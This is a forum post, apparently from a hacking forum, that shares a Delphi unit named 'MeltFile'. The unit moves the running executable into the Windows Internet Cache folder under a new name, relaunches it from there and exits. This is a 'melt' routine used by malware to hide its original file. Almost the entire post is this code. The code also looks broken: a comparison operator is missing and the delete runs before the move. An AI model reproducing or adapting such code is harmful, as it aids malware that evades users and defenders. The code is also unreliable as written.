• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Delphi MeltFile [Delphi]

Status
Not open for further replies.

sQuo

~ KillmeMories ~
Shadow
User
Joined
Oct 16, 2011
Messages
5,851
Reputation
0
Reaction score
22,904
Points
688
Credits
0
‎13 Years of Service‎
24%
Code:
>
   //******************************************************************************
   //* UNIT:         UNT_MelFile
   //* AUTOR:        Fakedo0r
   //* CORREO:       [email protected]
   //* BLOG:         Sub-Soul.blogspot.com
   //* FECHA:        12.04.2012
   //* USO:          MeltFile('prueba');
   //******************************************************************************
   unit UNT_MeltFile;
   //******************************************************************************
   //DECLARACION LIBRERIAS / CLASES
   //******************************************************************************
   interface
    
   uses
     Sysutils, Messages, Dialogs, Windows, ShlObj, ShellAPI;
   //******************************************************************************
   //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
   //******************************************************************************
   function MeltFile(sFileName: String): Bool;
   function GetAppPath: String;
   function MsgBoxA(sMessage: String): Smallint;
   function GetSpecialFolderA(iCSIDL: Integer):String;
   //******************************************************************************
   implementation
   //******************************************************************************
   //
   //******************************************************************************
   function GetSpecialFolderA(iCSIDL: Integer): string;
   Var
      pszPath: PChar;
      iRet:    Integer;
      tIDL:    PItemIDList;
   begin
     GetMem(pszPath, MAX_PATH);
     iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);
    
     if iRet = NOERROR then
     begin
       SHGetPathFromIDList(tIDL, pszPath);
       GetSpecialFolderA := String(pszPath);
     end;
    
     FreeMem(pszPath);
   end;
   //******************************************************************************
   //
   //******************************************************************************
   function GetAppPath: String;
   var
     dwHnd:    DWORD;
     pszBuff:  PChar;
   begin
     dwHnd := 0;
    
     GetMem(pszBuff, MAX_PATH);
     GetModuleFileName(dwHnd, pszBuff, Length(pszBuff));
    
     Result := pszBuff;
    
     FreeMem(pszBuff);
   end;
   //******************************************************************************
   //
   //******************************************************************************
   function MsgBoxA(sMessage: String): Smallint;
   begin
      MessageBoxEx(0, PChar(sMessage), PChar('Mensaje'), MB_ICONINFORMATION, 0);
   end;
   //******************************************************************************
   //
   //******************************************************************************
   function MeltFile(sFileName: String): Bool;
   var
     sOldPath:   String;
     sDestPath:  String;
     sAccount:   String;
   begin
     Result := True;
     sOldPath := GetAppPath;
    
     if sFileName = '' then
     begin
        MsgBoxA('Error');
        Result := False;
        Exit;
     end;
    
     sDestPath := GetSpecialFolderA(CSIDL_INTERNET_CACHE) + '\' + sFileName + '.exe';
    
     if sOldPath  sDestPath then
     begin
       DeleteFile(PChar(sOldPath));
       MoveFileEx(PChar(sOldPath), PChar(sDestPath), MOVEFILE_COPY_ALLOWED);
       ShellExecute(0 , nil, PChar(sDestPath), '', '', SW_SHOW);
    
       ExitProcess(0);
     end;
   end;
    
   end.
 
Status
Not open for further replies.
Back
Top